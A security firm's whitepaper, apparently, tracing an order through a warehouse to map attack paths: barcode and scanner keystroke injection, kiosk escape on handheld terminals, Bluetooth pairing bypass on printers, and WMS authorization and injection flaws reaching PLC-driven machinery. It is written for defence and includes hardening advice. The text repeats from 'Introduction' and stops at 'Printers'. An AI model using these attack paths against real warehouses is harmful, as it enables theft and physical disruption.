Imagine you’ve ordered a small paper unicorn from an online marketplace. You clicked “Buy”, received a cheerful notification, and expect a courier to bring the box tomorrow. If the unicorn is delayed by a day, it will be annoying but not catastrophic: an apology, a discount promo code — and the incident is forgotten.

Now let’s multiply one late unicorn by several hundred thousand orders.

Packages start heading to the wrong cities. The website shows an item is in stock, even though the required bin is empty. Conveyors stop, boxes get stuck between floors, the cargo piles up with no freight manifest. Trucks line up at the gates, and every minute of downtime turns into blown schedules, support tickets, fines, and lost sales.

It is at exactly this scale that a cyberincident in a warehouse becomes a problem for the entire business. A modern warehouse is no longer just a big building with shelving. It is a tightly interconnected hybrid system: web applications, radio channels, and an automated factory. Physical processes here depend on data, and errors in data have very physical consequences. Examples include an outage that affected warehouse management systems at the grocery giant Morrisons, and the 2025 Form 10-K annual report of United Natural Foods, Inc. (UNFI), which confirmed unauthorized activity on information technology systems that impacted order fulfillment. More recently, reports emerged that a cyberattack disrupted eight CEVA Logistics warehouses across Europe and exposed customer delivery data.

This paper follows a single order through a warehouse to show where the operation is vulnerable, the stages it traverses, the systems that drive it, and the points where an attacker can reach them. We then set out the threat model: what is at risk, who is in a position to take it, and how each risk lands on the business. From there, we look at how an attacker gets in, and what reaching the warehouse management system costs in practical terms: orders unshipped, inventory records nobody can trust, and an operation that stops. We close with recommendations on where the controls that matter actually sit.

Tracing the unicorn

A modern warehouse is a sequence of stages involving many machines and people, all working together to keep the business process stable so that, in the end, your order gets delivered. This process consists of eight main stages, shown in the figure below.

So let’s assume we’ve ordered our paper unicorn and are waiting for it at home. Let’s follow our order through all the main stages, from its arrival at the warehouse to the final stop on its journey.

1. Unloading
   First, the unicorn arrives in the unloading zone, packed in a big truck. The driver is assigned a gate, for example, via a tablet with kiosk mode enabled, or an outdoor display board, indicating where the truck should park and where the cargo will be unloaded. Even at this very first step, a digital command (the gate number on the screen) is already triggering a physical action. Therefore, incorrectly assigned gates can create a queue, delay unloading, or send goods into the wrong workflow.
2. Receiving
   At this stage, employees identify the cargo. They scan a barcode using a portable data terminal (PDT) and the central system receives a message indicating that this object arrives at the warehouse. From this moment, the unicorn exists in two forms at once: as a real box and as a record in the information system. If these two versions diverge, the error is inherited by all subsequent processes.
3. Putaway
   Next, the goods are moved into internal storage. Two new devices come into play here. First, a thermal printer, connected to the internal network over Wi-Fi, creates an internal label for each item. Then an employee, forklift, or automated system moves the goods to the assigned bin, often with the help of lifts controlled by PLCs. Both of these devices can be valuable attack entry points: one can let an adversary pivot into the internal network, while the other can give them control over an electric motor.
4. Storage
   Then the unicorn goes into storage. Many distribution centers use multi-level mezzanine structures: several floors of metal shelving inside a huge space. They allow efficient use of the building’s height, but at the same time complicate control over the technical infrastructure. Wi-Fi access points, cameras, switches, cables, and sensors may be mounted high overhead or buried deep inside the rows. A forgotten Ethernet cable or misconfigured networked device (access point or switch) left behind in a dark corner can become a convenient initial access point into critical infrastructure.
5. Picking
   When the customer places an order, picking begins if the goods were already stored in the warehouse or as soon as they are unloaded. A PDT, workstation, light indicator, or voice terminal directs the employee to the required bin where they pick the goods and move them to the next stage. These devices are themselves potential attack entry points: compromising a workstation or PDT could allow an attacker to manipulate picking information, which could misdirect employees to the wrong bin. Here, both the speed and integrity of the information are critical, and any manipulation or disruption can lead to wrong orders, delays, or problems in subsequent stages.
6. Sorting
   At the sorting stage, the warehouse starts to look more like a factory. Boxes move through conveyor belts and pass through different scanners, diverters, and chutes. The sorting plans are usually stored and managed by dedicated servers, while PLCs are responsible for controlling the machinery and executing these plans. For example, when the warehouse management system (WMS) decides that our unicorn should take route A, the control system needs to activate the right diverter at the right moment, sometimes within a fraction of a second.
7. Packing
   During packing, an employee or a robotic arm places the goods into the final box, prints the shipping label, and sometimes measures the dimensions and weight of the package. Safety mechanisms usually prevent robotic arms from leaving the controlled zone and harming nearby operators, but their compromise might inflict physical damage on the packages being processed.
8. Shipment
   Finally, at the shipping stage, the parcel heads to the gates. Automated guided vehicles (AGVs) and autonomous mobile robots (AMRs) move containers and pallets across the warehouse, while the dock management system coordinates the truck that will carry the unicorn onward to a store, a sorting center, or straight to the customer. These robots are themselves a potential target for attackers. Attacks can be conducted against AGVs and AMRs to interfere with their operation, for example by affecting their navigation or preventing them from reaching their intended destination.

All eight stages are coordinated by the WMS. It looks like a large web application, but in its role it’s closer to the operating system of the entire warehouse: it knows which goods exist, where they’re located, who or what should move them, and where they go next, linking employees, inventory levels, storage addresses, tasks, and orders. It also exchanges data externally: with ERP systems, transport platforms, marketplaces, dark stores, and external carriers.

Surrounding the WMS is an even larger digital ecosystem: identity services, databases, APIs, printers, carrier systems, technicians’ laptops, video surveillance, access control, fire and gas alarms, power supply, and a building management system (BMS).

That is why a single “warehouse network” doesn’t really exist. As we’ve seen, there are many overlapping technologies — IT infrastructure, OT systems, radio, cloud services, building security, and automation — layered on top of one another. A lone vulnerability scanner will never tell you whether a warehouse is secure.

Hunting the unicorn

Securing an environment such as a warehouse requires a comprehensive security assessment covering all of its interconnected systems. This involves identifying vulnerabilities across each system and understanding how weaknesses can be combined into attack paths that a real attacker could exploit. But a vulnerability only matters in proportion to what it exposes and who is able to reach it, so before looking at the weaknesses themselves, we need to understand what an attacker in this environment is actually after, because in a warehouse, the blast radius extends well beyond data. Everything we just traced — the systems, the devices, and the people operating them — exists to keep goods moving, and attacks in various parts along that chain can affect the business differently. The chart below shows what is at risk in the warehouse and where those risks land for the business. The segment on the left groups them under the three core security properties: integrity, availability, and confidentiality. The segment on the right maps each property to the business outcomes a failure can cause.

The first area at risk is integrity. Inventory counts, locations, orders, and shipment data must stay in sync with the physical world. Corrupting a record silently desynchronizes the operation, and because the eight stages form a dependency chain, one falsified entry early on is inherited downstream, surfacing later as stockouts and mis-shipments. In its deliberate forms, this lets an attacker redirect goods, release stock, and perform other actions on behalf of the platform’s vendors under cover of legitimate records. Integrity is also a safety concern: when people or machines act on information that no longer reflects the physical environment, a data failure can become a physical incident. This is why integrity is the only property linked to all five outcomes, including harm to people.

The second is availability, the warehouse’s ability to keep goods moving. Halting a conveyor, a sorter, label printing, or the WMS stops orders from shipping, and in a business built on speed, every hour of downtime means delayed deliveries and broken promises. Ransomware can bring the whole warehouse to a standstill. The impact shows up as operational disruption, lost revenue, and reputational damage.

The third is confidentiality. Customer data, business records, and system credentials are valuable targets. Their exposure leads to legal liability and reputational damage, and stolen credentials often open the door to further attacks. Where the WMS connects to financial or ERP processes, the risk extends to theft of funds.
Knowing what is at risk tells us what an attacker stands to gain; the next question is who is in a position to take it. Threat actors differ in the access they already hold. For example, an attacker may be authenticated and privileged, have limited physical or remote access, or have no legitimate access to the environment at all. Based on their relationship with the warehouse and their level of access, threat actors can generally be divided into two categories:

1. External. An attacker with no legitimate relationship with the warehouse or the organization, operating without authorized access. External attackers can be divided into two categories based on their physical proximity to the environment:
   1. Remote. An attacker operating from outside the site’s physical area, reaching the environment through whatever the organization exposes or makes reachable over the internet, including web services, remote access infrastructure, and third-party connections used by suppliers, carriers, and integrators.
   2. Proximate. An attacker with no legitimate access who has nevertheless moved within physical range of the site’s locally reachable technologies. They may, for example, be in a parking lot, a neighboring unit, or a delivery bay. Their proximity may allow them to interact with wireless, radio, Bluetooth, or other short-range interfaces without possessing an account, badge, employment relationship, or other authorized access.
2. Internal. An individual with legitimate access to the warehouse, its systems, or its information, who intentionally or unintentionally creates a security risk. This includes employees, administrators, operators, contractors, and temporary staff.

Combining these threat actors and their access levels with the risks identified earlier, the vulnerabilities present in each system, the resulting attack surfaces, and the potential attack paths between them provides a threat model for the warehouse environment. This allows an organization to understand how different systems and people could be targeted, how individual weaknesses could be combined, and where security controls are most needed.

Cornering the unicorn

Knowing what is at risk and who might come after it still leaves the most practical question open: how they would actually get in, and how far they could go once they did. The diagram below sets out the warehouse’s attack surface: every point where an attacker can get in, organized by the access that reaching each point requires.

On the left are the attacker categories discussed above, distinguished by where they stand and what access they already hold. Each reaches the environment through a different set of entry points, and the impact of a successful attack can land on several systems, from the WMS to OT systems such as robots, sorters, and physical access control system (PACS). The WMS is highlighted because it is the most significant of these: it coordinates the OT systems, so compromising it can affect the entire operation rather than a single process.

Next, we will cover the initial access vectors, the points a threat actor can use to reach the warehouse environment. Following that, we turn to the impact on the logistics processes themselves, focusing on the WMS, since its compromise affects every logistics operation that depends on it.

Initial attack vectors

Internet-facing services

Remote access through internet-facing services, third-party connections, and corporate networks gives an external attacker a foothold on the warehouse network infrastructure. It is a well-covered problem and not specific to this environment, so we note it here as an entry point but will not examine it further.

Wi-Fi, Bluetooth, and other radio channels

Wi-Fi connects handhelds, tablets, printers, cameras, and workstations. Bluetooth serves scanners, headsets, and positioning beacons. Zigbee and similar low-power protocols run lighting, sensors, and building automation, while LoRaWAN carries telemetry over long distances. Cellular provides a backup channel for kiosks and contractor equipment, and proprietary protocols control industrial panels and specialized machinery.

Radio passes through windows, gates, roofing, and thin external panels, so a network built for receiving and processing goods may be reachable from the parking lot and, with a directional antenna, from considerably farther away.

That reach matters in two ways. It gives an external attacker a place to start, as proximity alone is enough to reach the Wi-Fi and the low-power protocols, and from there to gain an initial foothold in the warehouse networks.

However, radio does not only lead into the network. It also connects directly to the field devices and carries the live control traffic of warehouse operations, which makes availability a first-order concern. If hundreds of handhelds lose their connection at once, picking stops. If an AGV loses its control channel, the safe reaction may be to halt in place, and a stopped machine can block an entire route.

Physical network

The scale of the warehouse itself is part of the attack surface. A fulfillment warehouse can run up to tens of thousands of square meters, with racking climbing several stories and walkways threading through it. Structured cabling runs along that racking, cameras and access points are mounted on that, and wall jacks sit behind pallets that have not moved in months. Almost none of it is in anyone’s line of sight.

That gives a person in the warehouse something a normal office does not: unsupervised access to live network infrastructure. Unplugging a ceiling camera leaves an active port. An unused jack behind a shelf leaves another. Neither requires tools, credentials, or any interaction with a system that logs anything. And since the camera or access point sits on the same segment as the rest of the site, the compromised port, not being isolated, opens a path to the network core.

Barcode scanners

Barcode scanners are everywhere in a warehouse. They are the main tool workers use to tell the system what is moving and where, supporting receiving, picking, packing, and inventory management. A typical setup has handheld scanners communicating with a base station, which is in turn connected to a workstation or another business system.

This makes the scanner an entry point into the core network in two ways.

First, through the barcode itself. Since the scanner acts as a keyboard to the connected host, a maliciously crafted barcode or QR code can inject keystrokes when scanned, potentially giving the attacker an initial foothold on the host without directly accessing the network.

Second, through the scanner’s wireless link. During a customer engagement, with the provided test stand of such a device, we discovered that an attacker within range could inject keystrokes into the connected host and potentially achieve remote code execution without user interaction. This attack pattern was observed across multiple vendors, including, for example, Honeywell devices affected by CVE-2026-4272.

In both cases, the result is the same: a foothold on a host inside the warehouse network. The scanner is simply the entry point; the significance of that foothold comes from the host’s trusted position within the operational environment and its connectivity to core systems.

Portable data terminals

Portable data terminals (PDTs) are essentially ordinary Android devices with an embedded barcode scanner, carried by workers to scan items; each scan is passed to a dedicated application that forwards it to a remote server over an API. To keep workers on task, the devices usually run in kiosk mode, locking the user to that single application and preventing interaction with the rest of the Android system.

That lockdown is exactly what an attacker wants to break, and breaking it is what turns the terminal into an initial access vector: escaping the kiosk can expose the Wi-Fi password of the network the terminal is connected to, or allow malicious software to be installed that gives the attacker remote access to the network over the internet.

Printers

Warehouses contain different types of printers. Alongside the usual IT printers used for documents and paperwork, there are specialized thermal printers, small devices that use heated elements on the printhead to create labels, barcodes, and tags. As we mentioned earlier, these are mainly used to print the labels, usually containing barcodes, that are attached to goods during the putaway stage.

Here we focus on mobile thermal printers: small, battery-powered devices that workers can carry or wear. They typically connect to the internal network over Wi-Fi to receive print commands, while also supporting Bluetooth for connecting to nearby devices. This combination makes them a potential entry point into the internal network.

Some models, such as the Zebra ZQ630, support multiple interfaces and can run applications directly on the device. During a security assessment, we discovered that apps can be uploaded and executed over Bluetooth. By exploiting a pairing misconfiguration, an attacker within Bluetooth range could bypass pairing, upload malicious software, and gain an initial foothold through the printer.

Impact on logistics processes (attacks on WMS)

With a foothold in the network, an attacker can pivot to the logistics processes themselves: from the WMS through the warehouse infrastructure to the PLCs and the machinery they drive. As we saw earlier, all OT systems and devices are interconnected and the WMS sits at the head of that chain: it is the system of record every other process reads from and writes to, so compromising it reaches all of them at once. That, and its being specific to this environment, is why it is the focus here.

Warehouse management systems (WMS) are the software platforms that optimize warehouse processes from the entry of goods to their exit. They provide real-time visibility into inventory and orchestrate end-to-end fulfillment by integrating with many warehouse subsystems and pieces of automation equipment, such as conveyors, PLCs, robotics, scanners, and voice systems. A typical WMS includes modules for receiving, inventory control, order management, labor management, shipping, and reporting. Major vendors include SAP EWM, Oracle Warehouse Management, Manhattan Active, Blue Yonder, Infor, Körber/HighJump, Microsoft, and TECSYS.

To picture how central this is, think back to our unicorn. From the moment it was scanned at receiving, it stopped being only a physical box and became a record inside the WMS, a record the system then used to decide where it should be stored, when it should be picked, how it should be sorted, and where it should ship. Every device employed along the way — the PDT at receiving, the printer at putaway, the workstation at picking, the conveyor at sorting — was really just talking to the WMS. It is the thread that ties all eight stages together, which is exactly what makes it such a valuable target.

Because modern WMS platforms are usually web-based and heavily interconnected, they inherit common web and API vulnerabilities alongside flaws specific to the WMS itself. A recent example is CVE-2026-70774 in Oracle Warehouse Management, part of Oracle E-Business Suite. Oracle rated it High and described it as an easily exploitable authorization bypass flaw in which a low-privileged attacker with network access can compromise the application, affecting integrity and availability by allowing unauthorized creation, deletion, or modification of critical data.

A flaw like this may look like a typical web application issue, but its consequences in a warehouse are more serious, because the WMS is the system of record. If an attacker can modify its data, they can alter stock levels, bin locations, receiving records, picking tasks, or shipment information, silently corrupting the digital twin of the warehouse. And since the eight stages form a dependency chain, that corruption doesn’t stay contained: a falsified record at receiving is inherited by putaway, picking, and everything downstream. The physical box and its record diverge, and every later process trusts the record.

The most direct version of this attack comes from an authorization bypass flaw like the Oracle vulnerability above. Here the threat actor can be an external attacker who has reached the application over the network, or an insider such as a low-privileged operator or storekeeper who already holds a legitimate account.

The danger grows when such a flaw is chained with others. An external attacker who combines remote code execution with SQL injection could generate shipment orders to arbitrary addresses together with the documents needed for goods to physically leave the warehouse, fabricate waybills, acceptance or transfer records, and registers, while also exposing customer data such as names and delivery addresses. In effect, the goods are sent out with legitimate-looking paperwork.

This is why ordinary web vulnerabilities carry considerable weight in a WMS. For an external attacker or an insider probing beyond their assigned role, broken access control could open a path into another warehouse zone, allow manipulation of other workers’ tasks, permit unauthorized exception operations, or expose administrative APIs. A server-side request forgery flaw could force the WMS server to reach resources an external attacker cannot touch directly, and if the network is flat or only formally segmented, that server may in turn reach internal management panels, cloud service interfaces, or systems sitting close to the operational network, turning a single web bug into a bridge between IT and OT.

Attacks on a WMS don’t always target the application directly, though. As we saw while tracing the unicorn, the warehouse is full of connected devices that already hold trusted access. A handheld terminal carries authenticated WMS API access as a matter of course, and anyone who gains control of that terminal inherits it (by escaping the kiosk, for example). Depending on the device’s permissions, that might mean confirming picks that never occurred, falsifying receiving operations, adjusting stock counts, or marking orders complete — something warehouse employees themselves could use to avoid their assigned duties.

Where the WMS is connected to control and automation systems, access to the WMS can extend into physical operations, including conveyors, sorting systems, lifts, doors, and pumps.

PLCs translate WMS instructions and sensor inputs into physical actions. Compromising a system that controls them therefore creates an opportunity to manipulate those actions. The impact can be as simple as a sorting diverter sending boxes down the wrong route, a conveyor repeatedly entering an error state and creating a backlog, or a falsified sensor value causing a line to be treated as clear when it is full.

However the WMS is compromised, the business consequence is the same: inventory corruption, unauthorized shipments, and operational disruption, each reaching the customer in the end as a late or missing delivery, the wrong item in the box, or a personal address exposed to a stranger.

Securing the unicorn

We followed our unicorn through web applications and databases, radio channels and PDTs, printers, conveyors, robots, and the loading zone. Because warehouse environments combine IT, OT, wireless, physical, and human components, security controls should be implemented as a single, coordinated security architecture rather than as isolated measures. Network segmentation should be a foundational control, with clear separation between corporate IT, warehouse OT, operational devices, management networks, and externally connected systems. Segmentation should also extend across facilities and customer environments so that each site and customer integration is isolated from the others, limiting the potential impact of a compromise. A zero-trust approach should reinforce this architecture by requiring explicit authentication and authorization for connections between systems, regardless of their network location, and by applying least-privilege access wherever possible. Regular penetration testing of the corporate IT environment, including domain services, identity infrastructure, and endpoints, should be incorporated into the warehouse security program.

Physical and network access controls should be implemented together. Access to warehouse facilities, network rooms, communication cabinets, and operational areas should be restricted according to business need, with appropriate authentication, monitoring, and access logging. Network infrastructure should be hardened through controls such as switch port security, MAC-based access restrictions where appropriate, and IEEE 802.1X with EAP-TLS for strong device and user authentication. Network equipment should also be securely configured and regularly reviewed to ensure that unused interfaces, insecure management protocols, default credentials, and unnecessary services are disabled.

Web applications and their supporting infrastructure should be governed through a secure software development lifecycle (SSDLC), including security requirements, secure coding practices, code and dependency review, and application security assessment before deployment and throughout the application’s lifecycle. Third-party applications and components should be continuously monitored and updated, with a defined vulnerability and patch management process. This should explicitly include warehouse management systems (WMS), warehouse portals, APIs, and other applications that provide operational or customer-facing functionality.

Wireless technologies should be subject to dedicated security assessment and engineering. Radio-frequency surveys should be conducted to establish expected coverage, identify unauthorized or unexpected signals, validate the availability and protection of operational communications, and determine whether wireless deployments create unintended access paths into warehouse networks. Wireless security should be assessed not only from a connectivity perspective but also in terms of authentication, encryption, device provisioning, protocol exposure, interference resilience, and the potential impact of unauthorized devices.

Warehouse operational devices should be incorporated into the organization’s endpoint security and vulnerability management processes. Devices should receive security updates and firmware patches on a defined schedule, with accelerated remediation for critical vulnerabilities. Security assessments should be performed periodically to identify weaknesses in device configuration, applications, exposed services, and authentication mechanisms.

Personnel security should form an additional layer of the warehouse security architecture. In most industrial and ICS environments, getting inside means clearing background checks, holding relevant qualifications, or proving prior experience; the hiring process itself acts as a filter. A warehouse is different. Roles in sorting, packing, and courier work are hired quickly and in volume, and they typically require no prior expertise, certification, or specialized background at all. An ordinary person can walk in off the street, be hired within days, and immediately hold legitimate physical access to the facility. Therefore, a more restrictive and risk-based approach to hiring should be considered, particularly for roles that provide access to sensitive areas, operational systems, network infrastructure, or customer assets.

Ultimately, all of these measures serve the same objective: protecting the continuity and reliability of the warehouse as a whole. This matters because real warehouses handle food, medicines, machine parts, and the millions of ordinary things people and companies depend on every day. Protecting their journey means seeing the warehouse as it has actually become: a single digital system with doors, motors, shelving, and radio signals, and with entirely real consequences when it fails. And if the security program works, the customer never knows any of this happened. The unicorn simply arrives at the scheduled time.

If your warehouse operations rely on interconnected systems like these, we can help identify the gaps before an adversary does. Reach out to discuss a security assessment.

Introduction

Imagine you’ve ordered a small paper unicorn from an online marketplace. You clicked “Buy”, received a cheerful notification, and expect a courier to bring the box tomorrow. If the unicorn is delayed by a day, it will be annoying but not catastrophic: an apology, a discount promo code — and the incident is forgotten.

Now let’s multiply one late unicorn by several hundred thousand orders.

Packages start heading to the wrong cities. The website shows an item is in stock, even though the required bin is empty. Conveyors stop, boxes get stuck between floors, the cargo piles up with no freight manifest. Trucks line up at the gates, and every minute of downtime turns into blown schedules, support tickets, fines, and lost sales.

It is at exactly this scale that a cyberincident in a warehouse becomes a problem for the entire business. A modern warehouse is no longer just a big building with shelving. It is a tightly interconnected hybrid system: web applications, radio channels, and an automated factory. Physical processes here depend on data, and errors in data have very physical consequences. Examples include an outage that affected warehouse management systems at the grocery giant Morrisons, and the 2025 Form 10-K annual report of United Natural Foods, Inc. (UNFI), which confirmed unauthorized activity on information technology systems that impacted order fulfillment. More recently, reports emerged that a cyberattack disrupted eight CEVA Logistics warehouses across Europe and exposed customer delivery data.

This paper follows a single order through a warehouse to show where the operation is vulnerable, the stages it traverses, the systems that drive it, and the points where an attacker can reach them. We then set out the threat model: what is at risk, who is in a position to take it, and how each risk lands on the business. From there, we look at how an attacker gets in, and what reaching the warehouse management system costs in practical terms: orders unshipped, inventory records nobody can trust, and an operation that stops. We close with recommendations on where the controls that matter actually sit.

Tracing the unicorn

A modern warehouse is a sequence of stages involving many machines and people, all working together to keep the business process stable so that, in the end, your order gets delivered. This process consists of eight main stages, shown in the figure below.

So let’s assume we’ve ordered our paper unicorn and are waiting for it at home. Let’s follow our order through all the main stages, from its arrival at the warehouse to the final stop on its journey.

1. Unloading
   First, the unicorn arrives in the unloading zone, packed in a big truck. The driver is assigned a gate, for example, via a tablet with kiosk mode enabled, or an outdoor display board, indicating where the truck should park and where the cargo will be unloaded. Even at this very first step, a digital command (the gate number on the screen) is already triggering a physical action. Therefore, incorrectly assigned gates can create a queue, delay unloading, or send goods into the wrong workflow.
2. Receiving
   At this stage, employees identify the cargo. They scan a barcode using a portable data terminal (PDT) and the central system receives a message indicating that this object arrives at the warehouse. From this moment, the unicorn exists in two forms at once: as a real box and as a record in the information system. If these two versions diverge, the error is inherited by all subsequent processes.
3. Putaway
   Next, the goods are moved into internal storage. Two new devices come into play here. First, a thermal printer, connected to the internal network over Wi-Fi, creates an internal label for each item. Then an employee, forklift, or automated system moves the goods to the assigned bin, often with the help of lifts controlled by PLCs. Both of these devices can be valuable attack entry points: one can let an adversary pivot into the internal network, while the other can give them control over an electric motor.
4. Storage
   Then the unicorn goes into storage. Many distribution centers use multi-level mezzanine structures: several floors of metal shelving inside a huge space. They allow efficient use of the building’s height, but at the same time complicate control over the technical infrastructure. Wi-Fi access points, cameras, switches, cables, and sensors may be mounted high overhead or buried deep inside the rows. A forgotten Ethernet cable or misconfigured networked device (access point or switch) left behind in a dark corner can become a convenient initial access point into critical infrastructure.
5. Picking
   When the customer places an order, picking begins if the goods were already stored in the warehouse or as soon as they are unloaded. A PDT, workstation, light indicator, or voice terminal directs the employee to the required bin where they pick the goods and move them to the next stage. These devices are themselves potential attack entry points: compromising a workstation or PDT could allow an attacker to manipulate picking information, which could misdirect employees to the wrong bin. Here, both the speed and integrity of the information are critical, and any manipulation or disruption can lead to wrong orders, delays, or problems in subsequent stages.
6. Sorting
   At the sorting stage, the warehouse starts to look more like a factory. Boxes move through conveyor belts and pass through different scanners, diverters, and chutes. The sorting plans are usually stored and managed by dedicated servers, while PLCs are responsible for controlling the machinery and executing these plans. For example, when the warehouse management system (WMS) decides that our unicorn should take route A, the control system needs to activate the right diverter at the right moment, sometimes within a fraction of a second.
7. Packing
   During packing, an employee or a robotic arm places the goods into the final box, prints the shipping label, and sometimes measures the dimensions and weight of the package. Safety mechanisms usually prevent robotic arms from leaving the controlled zone and harming nearby operators, but their compromise might inflict physical damage on the packages being processed.
8. Shipment
   Finally, at the shipping stage, the parcel heads to the gates. Automated guided vehicles (AGVs) and autonomous mobile robots (AMRs) move containers and pallets across the warehouse, while the dock management system coordinates the truck that will carry the unicorn onward to a store, a sorting center, or straight to the customer. These robots are themselves a potential target for attackers. Attacks can be conducted against AGVs and AMRs to interfere with their operation, for example by affecting their navigation or preventing them from reaching their intended destination.

All eight stages are coordinated by the WMS. It looks like a large web application, but in its role it’s closer to the operating system of the entire warehouse: it knows which goods exist, where they’re located, who or what should move them, and where they go next, linking employees, inventory levels, storage addresses, tasks, and orders. It also exchanges data externally: with ERP systems, transport platforms, marketplaces, dark stores, and external carriers.

Surrounding the WMS is an even larger digital ecosystem: identity services, databases, APIs, printers, carrier systems, technicians’ laptops, video surveillance, access control, fire and gas alarms, power supply, and a building management system (BMS).

That is why a single “warehouse network” doesn’t really exist. As we’ve seen, there are many overlapping technologies — IT infrastructure, OT systems, radio, cloud services, building security, and automation — layered on top of one another. A lone vulnerability scanner will never tell you whether a warehouse is secure.

Hunting the unicorn

Securing an environment such as a warehouse requires a comprehensive security assessment covering all of its interconnected systems. This involves identifying vulnerabilities across each system and understanding how weaknesses can be combined into attack paths that a real attacker could exploit. But a vulnerability only matters in proportion to what it exposes and who is able to reach it, so before looking at the weaknesses themselves, we need to understand what an attacker in this environment is actually after, because in a warehouse, the blast radius extends well beyond data. Everything we just traced — the systems, the devices, and the people operating them — exists to keep goods moving, and attacks in various parts along that chain can affect the business differently. The chart below shows what is at risk in the warehouse and where those risks land for the business. The segment on the left groups them under the three core security properties: integrity, availability, and confidentiality. The segment on the right maps each property to the business outcomes a failure can cause.

The first area at risk is integrity. Inventory counts, locations, orders, and shipment data must stay in sync with the physical world. Corrupting a record silently desynchronizes the operation, and because the eight stages form a dependency chain, one falsified entry early on is inherited downstream, surfacing later as stockouts and mis-shipments. In its deliberate forms, this lets an attacker redirect goods, release stock, and perform other actions on behalf of the platform’s vendors under cover of legitimate records. Integrity is also a safety concern: when people or machines act on information that no longer reflects the physical environment, a data failure can become a physical incident. This is why integrity is the only property linked to all five outcomes, including harm to people.

The second is availability, the warehouse’s ability to keep goods moving. Halting a conveyor, a sorter, label printing, or the WMS stops orders from shipping, and in a business built on speed, every hour of downtime means delayed deliveries and broken promises. Ransomware can bring the whole warehouse to a standstill. The impact shows up as operational disruption, lost revenue, and reputational damage.

The third is confidentiality. Customer data, business records, and system credentials are valuable targets. Their exposure leads to legal liability and reputational damage, and stolen credentials often open the door to further attacks. Where the WMS connects to financial or ERP processes, the risk extends to theft of funds.
Knowing what is at risk tells us what an attacker stands to gain; the next question is who is in a position to take it. Threat actors differ in the access they already hold. For example, an attacker may be authenticated and privileged, have limited physical or remote access, or have no legitimate access to the environment at all. Based on their relationship with the warehouse and their level of access, threat actors can generally be divided into two categories:

1. External. An attacker with no legitimate relationship with the warehouse or the organization, operating without authorized access. External attackers can be divided into two categories based on their physical proximity to the environment:
   1. Remote. An attacker operating from outside the site’s physical area, reaching the environment through whatever the organization exposes or makes reachable over the internet, including web services, remote access infrastructure, and third-party connections used by suppliers, carriers, and integrators.
   2. Proximate. An attacker with no legitimate access who has nevertheless moved within physical range of the site’s locally reachable technologies. They may, for example, be in a parking lot, a neighboring unit, or a delivery bay. Their proximity may allow them to interact with wireless, radio, Bluetooth, or other short-range interfaces without possessing an account, badge, employment relationship, or other authorized access.
2. Internal. An individual with legitimate access to the warehouse, its systems, or its information, who intentionally or unintentionally creates a security risk. This includes employees, administrators, operators, contractors, and temporary staff.

Combining these threat actors and their access levels with the risks identified earlier, the vulnerabilities present in each system, the resulting attack surfaces, and the potential attack paths between them provides a threat model for the warehouse environment. This allows an organization to understand how different systems and people could be targeted, how individual weaknesses could be combined, and where security controls are most needed.

Cornering the unicorn

Knowing what is at risk and who might come after it still leaves the most practical question open: how they would actually get in, and how far they could go once they did. The diagram below sets out the warehouse’s attack surface: every point where an attacker can get in, organized by the access that reaching each point requires.

On the left are the attacker categories discussed above, distinguished by where they stand and what access they already hold. Each reaches the environment through a different set of entry points, and the impact of a successful attack can land on several systems, from the WMS to OT systems such as robots, sorters, and physical access control system (PACS). The WMS is highlighted because it is the most significant of these: it coordinates the OT systems, so compromising it can affect the entire operation rather than a single process.

Next, we will cover the initial access vectors, the points a threat actor can use to reach the warehouse environment. Following that, we turn to the impact on the logistics processes themselves, focusing on the WMS, since its compromise affects every logistics operation that depends on it.

Initial attack vectors

Internet-facing services

Remote access through internet-facing services, third-party connections, and corporate networks gives an external attacker a foothold on the warehouse network infrastructure. It is a well-covered problem and not specific to this environment, so we note it here as an entry point but will not examine it further.

Wi-Fi, Bluetooth, and other radio channels

Wi-Fi connects handhelds, tablets, printers, cameras, and workstations. Bluetooth serves scanners, headsets, and positioning beacons. Zigbee and similar low-power protocols run lighting, sensors, and building automation, while LoRaWAN carries telemetry over long distances. Cellular provides a backup channel for kiosks and contractor equipment, and proprietary protocols control industrial panels and specialized machinery.

Radio passes through windows, gates, roofing, and thin external panels, so a network built for receiving and processing goods may be reachable from the parking lot and, with a directional antenna, from considerably farther away.

That reach matters in two ways. It gives an external attacker a place to start, as proximity alone is enough to reach the Wi-Fi and the low-power protocols, and from there to gain an initial foothold in the warehouse networks.

However, radio does not only lead into the network. It also connects directly to the field devices and carries the live control traffic of warehouse operations, which makes availability a first-order concern. If hundreds of handhelds lose their connection at once, picking stops. If an AGV loses its control channel, the safe reaction may be to halt in place, and a stopped machine can block an entire route.

Physical network

The scale of the warehouse itself is part of the attack surface. A fulfillment warehouse can run up to tens of thousands of square meters, with racking climbing several stories and walkways threading through it. Structured cabling runs along that racking, cameras and access points are mounted on that, and wall jacks sit behind pallets that have not moved in months. Almost none of it is in anyone’s line of sight.

That gives a person in the warehouse something a normal office does not: unsupervised access to live network infrastructure. Unplugging a ceiling camera leaves an active port. An unused jack behind a shelf leaves another. Neither requires tools, credentials, or any interaction with a system that logs anything. And since the camera or access point sits on the same segment as the rest of the site, the compromised port, not being isolated, opens a path to the network core.

Barcode scanners

Barcode scanners are everywhere in a warehouse. They are the main tool workers use to tell the system what is moving and where, supporting receiving, picking, packing, and inventory management. A typical setup has handheld scanners communicating with a base station, which is in turn connected to a workstation or another business system.

This makes the scanner an entry point into the core network in two ways.

First, through the barcode itself. Since the scanner acts as a keyboard to the connected host, a maliciously crafted barcode or QR code can inject keystrokes when scanned, potentially giving the attacker an initial foothold on the host without directly accessing the network.

Second, through the scanner’s wireless link. During a customer engagement, with the provided test stand of such a device, we discovered that an attacker within range could inject keystrokes into the connected host and potentially achieve remote code execution without user interaction. This attack pattern was observed across multiple vendors, including, for example, Honeywell devices affected by CVE-2026-4272.

In both cases, the result is the same: a foothold on a host inside the warehouse network. The scanner is simply the entry point; the significance of that foothold comes from the host’s trusted position within the operational environment and its connectivity to core systems.

Portable data terminals

Portable data terminals (PDTs) are essentially ordinary Android devices with an embedded barcode scanner, carried by workers to scan items; each scan is passed to a dedicated application that forwards it to a remote server over an API. To keep workers on task, the devices usually run in kiosk mode, locking the user to that single application and preventing interaction with the rest of the Android system.

That lockdown is exactly what an attacker wants to break, and breaking it is what turns the terminal into an initial access vector: escaping the kiosk can expose the Wi-Fi password of the network the terminal is connected to, or allow malicious software to be installed that gives the attacker remote access to the network over the internet.

Printers

